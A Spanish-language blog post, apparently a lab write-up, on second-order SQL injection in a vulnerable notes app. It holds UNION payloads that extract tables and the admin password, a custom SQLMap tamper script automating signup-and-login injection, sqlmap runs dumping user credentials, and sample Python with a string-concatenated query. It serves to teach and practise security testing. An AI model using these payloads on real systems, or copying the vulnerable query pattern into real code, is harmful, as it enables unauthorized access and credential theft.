Explotación de inyección SQL de segundo orden
Me encontré con esto y lo encontré muy fascinante pero también muy abstracto de entender y difícil de explotar. Sin embargo, aprender a explotar este tipo de vulnerabilidad (SQLi) me ayudó a ampliar mi perspectiva, fortalecer mis habilidades de SQLMap y me dio una mejor comprensión de cómo se procesa la entrada del usuario dentro del flujo de trabajo de la aplicación del lado del servidor.
En este post escribiré sobre:
- SQLi de segundo orden en general,
- las condiciones previas necesarias,
- como identificar,
- cómo explotar manualmente y
- cómo automatizar la explotación con un script de manipulación de SQLMap personalizado.
Los basicos
En palabras simples: durante una inyección SQL de primer orden, un atacante usa un parámetro de entrada (punto de inyección) para manipular una consulta SQL que realiza la aplicación del servidor vulnerable. El servidor utiliza la entrada proporcionada por el usuario para crear una consulta SQL con el fin de leer, escribir, actualizar, eliminar, etc. datos dentro de la base de datos de back-end. Si la entrada proporcionada por el usuario no se maneja de manera segura (desinfección, validación), el atacante puede proporcionar una carga útil que manipula la consulta SQL ejecutada para realizar acciones maliciosas en el DBMS. La característica de un SQLi de primer orden es que la consulta SQL maliciosa se ejecuta como consecuencia directa de la inyección de carga útil. El atacante no necesita realizar una segunda acción para ejecutar la carga útil maliciosa.
Hay varias formas de prevenir fácilmente las inyecciones SQL de primer orden. El uso de declaraciones preparadas o el procesamiento de entrada parametrizado son solo algunos de ellos. Sin embargo, los desarrolladores de hoy en día pueden ser conscientes de que la entrada proporcionada por el usuario debe manejarse de manera segura. Pero a menudo se olvidan de manejar de forma segura los datos que ya se han guardado en la base de datos. Aquí es donde entra en juego SQLi de segundo orden.
Para aclarar las cosas, supongamos el siguiente escenario: una aplicación permite a los usuarios cargar imágenes y guardarlas en la base de datos. La tabla tiene columnas para:
- la identificación única de las imágenes,
- la imagen en sí,
- el nombre de archivo de la imagen,
- un contador para las vistas de la imagen por parte de los usuarios de la aplicación.
POST /upload HTTP/1.1
Host: www.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 705
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="example.jpg"
Content-Type: image/jpeg
[binary data of the picture file goes here]
------WebKitFormBoundary7MA4YWxkTrZu0gW--
import sqlite3
conn = sqlite3.connect("pictures.db")
cursor = conn.cursor()
filename = [filename of the picture file from the HTTP POST request]
data = [binary data of the picture file from the HTTP POST request]
cursor.execute("INSERT INTO pictures (filename, data, views) VALUES (?, ?, ?)", (filename, data, 0))
conn.commit()
conn.close()
Como se mencionó anteriormente, la tabla de la base de datos 'imágenes' tiene una tercera columna 'vistas'. Cada vez que un usuario ve la imagen, este contador se incrementa en 1. La aplicación también devuelve el contador al usuario, si este abre la vista detallada de la imagen. Entonces, en algún punto del código, la aplicación podría verse así:
import sqlite3
conn = sqlite3.connect("pictures.db")
cursor = conn.cursor()
filename = [filename of the picture extracted from database]
cursor.execute("SELECT views FROM pictures WHERE filename = '" + filename + "';")
result = cursor.fetchone()
views = result[0]
conn.close()
Los requisitos previos de SQLi de segundo orden
Entonces, concluyamos esta breve introducción y definamos los requisitos previos y las características de 2nd Order SQLi.
- La aplicación de alguna manera permite el almacenamiento de la entrada del usuario dentro de la aplicación durante un primer paso. Esto puede ser en el espacio de memoria de la aplicación o en un DBMS back-end, por ejemplo.
- El atacante puede realizar un segundo paso para hacer que la aplicación ejecute una consulta SQL que utilice la entrada del usuario que se inyectó en el primer paso.
- La aplicación no utiliza técnicas anti SQLi mientras realiza la consulta (durante el paso 2) en función de la entrada del usuario malicioso (del paso 1).
Identificar estas vulnerabilidades puede ser muy difícil, según la complejidad y la trazabilidad de la arquitectura y la implementación de la aplicación.
Intente imaginar el flujo de ejecución de las funcionalidades de la aplicación mientras realiza acciones que podrían interactuar con un DBMS backend.
Primero, por supuesto, siempre probaría las inyecciones SQL clásicas de primer orden. Pero si nada funciona y tiene que asumir que se utilizan algunas defensas durante el procesamiento de la solicitud de inyección, intente pensar un paso más e imagine en qué punto (s) su entrada podría procesarse en diferentes funcionalidades/áreas de la aplicación. Si identificó un par de posibles puntos de ejecución de segundo orden, intente imaginar las consultas realizadas por la aplicación en este punto. A continuación, cree sus cargas útiles de inyección de manera que puedan explotar la consulta realizada por los puntos de ejecución de segundo orden y verifique los resultados.
Automatizar ese proceso puede ser un poco complicado, pero puede ayudarte a ahorrar mucho tiempo. Sin embargo, es absolutamente necesario tener una buena comprensión de cómo fluye la ejecución del lado del servidor de las aplicaciones, las cadenas de consulta afectadas, etc., si desea automatizar el proceso de explotación con herramientas como SQLMap. Así que no le dispares a la aplicación y esperes lo mejor. Profundice lo más posible en la aplicación antes de preparar el comando final de explotación de SQLMap para mejorar las posibilidades de éxito.
Análisis y Explotación Manual
Entonces, para demostrar esto en un ejemplo práctico, usaré una aplicación vulnerable ("Notas vulnerables") con componentes de aplicación típicos como:
- acceso,
- inscribirse,
- perfil,
- cambiar la contraseña,
- tomando notas,
- cerrar sesión.
Primero, analicé la aplicación con un navegador para identificar posibles puntos de inyección SQL.
La función de registro seguramente realizará algún tipo de consulta SELECCIONAR para verificar si el nombre de usuario ya está en uso, y una consulta INSERTAR para registrar mi usuario.
Creé un usuario y pasé a la página de inicio de sesión. Esta página tomará las credenciales proporcionadas por el usuario y realizará algún tipo de instrucción SELECT en la base de datos para verificar las credenciales.
Después de la autenticación, el usuario es redirigido a la página de inicio. El nombre de usuario se muestra en la parte superior de la página. Entonces, es posible que la aplicación realice una consulta SELECT para extraer el nombre de usuario de la base de datos en este punto.
Desde este punto de partida, el usuario puede realizar las acciones relacionadas con el usuario, como tomar notas en el punto final /notas. El nombre de usuario se presenta en un segundo lugar dentro del encabezado "Bienvenido". Es posible que la aplicación realice una consulta SELECT para volver a solicitar el nombre de usuario.
Lo más probable es que la aplicación realice algún tipo de declaración INSERT en la base de datos si se utiliza esta funcionalidad. Después de tomar notas, estas se pueden ver en la misma página, debajo del formulario.
Para mostrar las notas, la aplicación de alguna manera realizará una consulta SELECCIONAR en la base de datos para solicitar las notas guardadas.
La aplicación también ofrece una funcionalidad de "cambio de contraseña", pero el mensaje en la página indica que esta función podría no estar implementada.
Sin embargo, si se implementa, lo más probable es que realice algún tipo de consulta de ACTUALIZACIÓN en la base de datos. Primero quería eliminar ese vector, así que probé la función y no tuve éxito. Se confirma que la función no está implementada.
Siguiendo mi enfoque para SQLi de primer orden, lo siguiente que hice fue hacer un resumen de todas las posibles consultas de SQL, que podría asumir mediante la inyección de cargas maliciosas. En este punto, trato de imaginar cómo se verían estas consultas. No estoy seguro de que en realidad se vean exactamente así, pero ayuda a comprender cómo funciona el backend.
Registro
-- Check if the username is taken
SELECT username FROM users WHERE username=MY_INPUT_USERNAME
-- Insert the new username into the database
INSERT INTO users (username, password) VALUES (MY_INPUT_USERNAME,MY_INPUT_PASWORD)
-- Check if there is an user id where the provided credentials actually match.
-- If an id is returned, the user is logged in. If not, the login attempt failed.
SELECT id FROM users WHERE username=MY_INPUT_USERNAME AND password=MY_INPUT_PASSWORD
-- Request the username from the database to display the name on the top of the home mage
SELECT username FROM users WHERE id=USER_ID_REQUESTED_DURING_LOGIN
-- Request the username from the database to display within the heading.
SELECT username FROM users WHERE id=USER_ID_REQUESTED_DURING_LOGIN
-- Request previous taken notes to display them on the page
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB
-- Inserts a new note into the database
INSERT INTO notes (heading, note, username) VALUES (MY_HEADING,MY_NOTE,USERNAME_QUERIED_FROM_DB)
Es hora de la aproximación de segundo orden.
Dado que ya analicé la aplicación en detalle, no tendré que volver a analizar la aplicación de destino. En cambio, es suficiente recorrer mi conocimiento ya adquirido sobre la aplicación con una vista/enfoque diferente.
Volviendo a los requisitos previos mencionados anteriormente de SQLi de segundo orden, tengo que hacerme la pregunta:
¿Dónde toma la aplicación mi entrada de usuario, la almacena para su uso posterior y, en un paso posterior, la usa como parte de otra consulta en la que no tengo un impacto directo?
Los posibles candidatos son:
- Nombre de usuario : Paso el nombre de usuario a la aplicación durante el proceso de registro. Posteriormente, se consulta el nombre de usuario desde la página /home y desde la página /notas para mostrarlo. Y también es posible que el nombre de usuario se use para consultar las notas guardadas del usuario específico de la base de datos.
Dado que puedo ver el resultado de la consulta, sé que estoy tratando con un escenario de explotación basado en UNION. Siguiendo la metodología típica, primero tendré que averiguar cuántas columnas se consultan de la tabla con la consulta original. Para esto, estoy preparando múltiples cargas útiles y luego analizo los resultados.
-- The potentially vulnerable query:
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB
-- Possible payloads
' UNION SELECT null--comment
' UNION SELECT null,null--comment
' UNION SELECT null,null,null--comment
' UNION SELECT null,null,null,null--comment
...
La carga útil se muestra como se esperaba en la parte superior de la página de inicio y en la parte superior de la página de /notas.
Luego, traté de insertar una nota pero, sorprendentemente, ¡la aplicación no muestra la nota después!
Parece que la consulta responsable de solicitar las notas de la base de datos está rota. Esto, por supuesto, indica que nuestra carga útil tuvo un impacto en la consulta interna. Pero como no se muestra nada, parece que la consulta produce un error o no devuelve resultados. Por supuesto, esto puede suceder si no configuramos el número correcto de columnas en la carga útil. Entonces, avancemos con las siguientes cargas útiles de la lista hasta que aparezca un comportamiento diferente.
¡Afortunadamente, la siguiente carga útil funcionó! Se han devuelto "Ninguno" y "Ninguno" como encabezado y texto de la nota.
Juntando las piezas:
-- The assumed original query:
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB
-- The payload
' UNION SELECT null,null--comment
-- The valid manipulated query executed against the database:
SELECT heading, note FROM notes WHERE username='' UNION SELECT null,null--comment
Adapté la información de la hoja de trucos y construí una carga útil funcional. La nueva carga útil:
' UNION SELECT null,sqlite_version()--comment
A partir de este momento, el flujo de explotación típico de SQLite (cargas útiles en la hoja de trucos provista) se puede usar para volcar toda la base de datos. Probemos algunas cargas útiles más antes de automatizar el proceso.
Extraer todos los nombres de las tablas
' UNION SELECT null, GROUP_CONCAT(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--comment
' UNION SELECT null, GROUP_CONCAT(sql) FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'--comment
' UNION SELECT null,GROUP_CONCAT(username) FROM users--comment
' UNION SELECT null, password FROM users WHERE username='admin'--comment
Explotación automatizada a través de SQLMap Tamper Script
Hasta que trabajé en este escenario, solo usé SQLMap para explotar SQLi de primer orden. Me preguntaba si también es posible explotar SQLi de segundo orden. Primero, usé mi terminal para buscar opciones de SQLMap relacionadas con la explotación de segundo orden y encontré esto:
┌──(kali㉿kali)-[~]
└─$ sqlmap -hh | grep -i second
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--second-url=SEC.. Resulting page URL searched for second-order response
--second-req=SEC.. Load second-order HTTP request from file
Recordemos los pasos necesarios para explotar manualmente la vulnerabilidad:
- Inyección no autenticada de carga útil en la función de "registro".
- Autenticación a través de la función "login".
- Solicitud autenticada a la página de “notas”.
Sabía que SQLMap puede ejecutar scripts de python con la opción "-manipular". Revisé la carpeta de secuencias de comandos de manipulación para ver si puedo encontrar algo útil allí que pueda ajustar a mis necesidades. Tristemente no.
┌──(kali㉿kali)-[~]
└─$ ls /usr/share/sqlmap/tamper
0eunion.py chardoubleencode.py dunion.py ifnull2casewhenisnull.py modsecurityversioned.py plus2fnconcat.py space2hash.py space2randomblank.py versionedkeywords.py
apostrophemask.py charencode.py equaltolike.py ifnull2ifisnull.py modsecurityzeroversioned.py __pycache__ space2morecomment.py sp_password.py versionedmorekeywords.py
apostrophenullencode.py charunicodeencode.py equaltorlike.py informationschemacomment.py multiplespaces.py randomcase.py space2morehash.py substring2leftright.py xforwardedfor.py
appendnullbyte.py charunicodeescape.py escapequotes.py __init__.py ord2ascii.py randomcomments.py space2mssqlblank.py symboliclogical.py
base64encode.py commalesslimit.py greatest.py least.py overlongutf8more.py schemasplit.py space2mssqlhash.py unionalltounion.py
between.py commalessmid.py halfversionedmorekeywords.py lowercase.py overlongutf8.py sleep2getlock.py space2mysqlblank.py unmagicquotes.py
binary.py commentbeforeparentheses.py hex2char.py luanginx.py percentage.py space2comment.py space2mysqldash.py uppercase.py
bluecoat.py concat2concatws.py htmlencode.py misunion.py plus2concat.py space2dash.py space2plus.py varnish.py
Del artículo, obtuve el siguiente esqueleto de plantilla (eliminé la reimportación) y lo guardé como custom.py:
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
return payload
La función recibe la carga útil de SQLMap a través del parámetro de función y devuelve la carga útil alterada después de la manipulación. El artículo no explicaba cómo usar **kwargs en el contexto de SQLMap, así que le pregunté a ChatGPT y obtuve una buena respuesta:
Esto debería ser suficiente para preparar el script de manipulación personalizado para el exploit. Para la comunicación con el servidor, utilicé la biblioteca de solicitudes.
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
import requests
def dependencies():
pass
def tamper(payload, **kwargs):
# Create Session object
s = requests.Session()
# Register user with SQLMap payload in username
s.post('http://10.10.204.40:5000/challenge4/signup', data={"username": payload, "password": "anypass"})
# Login malicious username
res = s.post('http://10.10.204.40:5000/challenge4/login', data={"username": payload, "password": "anypass"})
# Get headers from SQLMap
headers = kwargs.get('headers', {})
# Extract session cookie from response
sessId = "session={}".format(s.cookies.get('session', None))
# Pass session cookie to SQLMap cookie header
headers['Cookie'] = sessId
return payload
Juntando todas las piezas, se puede usar el siguiente comando SQLMap:
┌──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast
___
__H__
___ ___[(]_____ ___ ___ {1.6.7#stable}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:20:46 /2023-02-04/
[12:20:46] [INFO] loading tamper module 'custom'
[12:20:46] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login'. Do you want to follow? [Y/n] n
[12:20:50] [INFO] checking if the target is protected by some kind of WAF/IPS
[12:20:50] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS
are you sure that you want to continue with further target testing? [Y/n] Y
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:21:19] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[12:21:19] [INFO] testing for SQL injection on POST parameter 'username'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] n
[12:21:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[12:21:28] [WARNING] reflective value(s) found and filtering out
[12:21:38] [INFO] target URL appears to be UNION injectable with 2 columns
[12:21:39] [INFO] POST parameter 'username' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
[12:21:39] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:
---
Parameter: username (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:22:04] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:22:04] [INFO] testing SQLite
[12:22:05] [INFO] confirming SQLite
[12:22:06] [INFO] actively fingerprinting SQLite
[12:22:06] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:22:06] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.204.40'
[12:22:06] [WARNING] your sqlmap version is outdated
[*] ending @ 12:22:06 /2023-02-04/
┌──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast --current-user --tables
___
__H__
___ ___[(]_____ ___ ___ {1.6.7#stable}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:25:23 /2023-02-04/
[12:25:23] [INFO] loading tamper module 'custom'
[12:25:23] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login?next=http%3A%2F%2F10.10.204.40%3A5000%2Fchallenge4%2Fnotes'. Do you want to follow? [Y/n] n
[12:25:26] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:25:26] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:25:26] [INFO] testing SQLite
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:25:30] [INFO] confirming SQLite
[12:25:30] [INFO] actively fingerprinting SQLite
[12:25:30] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:25:30] [WARNING] on SQLite it is not possible to enumerate the current user
[12:25:30] [INFO] fetching tables for database: 'SQLite_masterdb'
[12:25:30] [WARNING] reflective value(s) found and filtering out
<current>
[2 tables]
+-------+
| notes |
| users |
+-------+
[12:25:30] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.204.40'
[12:25:30] [WARNING] your sqlmap version is outdated
[*] ending @ 12:25:30 /2023-02-04/
──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast --dump -T users
___
__H__
___ ___[.]_____ ___ ___ {1.6.7#stable}
|_ -| . [)] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:26:59 /2023-02-04/
[12:26:59] [INFO] loading tamper module 'custom'
[12:26:59] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login?next=http%3A%2F%2F10.10.204.40%3A5000%2Fchallenge4%2Fnotes'. Do you want to follow? [Y/n] n
[12:27:02] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:27:02] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:27:02] [INFO] testing SQLite
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:27:04] [INFO] confirming SQLite
[12:27:04] [INFO] actively fingerprinting SQLite
[12:27:04] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:27:04] [INFO] fetching columns for table 'users'
[12:27:04] [WARNING] reflective value(s) found and filtering out
[12:27:04] [INFO] fetching entries for table 'users'
Database: <current>
Table: users
[49 entries]
+----+---------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | password | username |
+----+---------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | rcLYWHCxeGUsA9tH3GNV | admin |
| 2 | asd | dev |
| 3 | Summer2019! | amanda |
| 4 | 345m3io4hj3 | maja
...
Debido a su naturaleza, estas vulnerabilidades pueden aparecer en todas partes dentro de las aplicaciones web. Incluso si los desarrolladores manejaron la entrada del usuario correctamente a primera vista, no significa que las medidas anti SQLi se apliquen en toda la aplicación. En el futuro, definitivamente tendré los ojos abiertos e intentaré seguir y comprender en profundidad el flujo de trabajo de la aplicación/base de datos.
Espero que hayas disfrutado esta publicación y tal vez esto pueda ayudarte con escenarios similares. Disfruté mucho escribiendo esto y aprendí muchas cosas nuevas durante este sábado. Deje un comentario, haga clic en Me gusta o siga y esté atento a más cosas web y muy pronto algunos temas de infraestructura de AD.
PAZ
![¿Qué es una lista vinculada, de todos modos? [Parte 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)
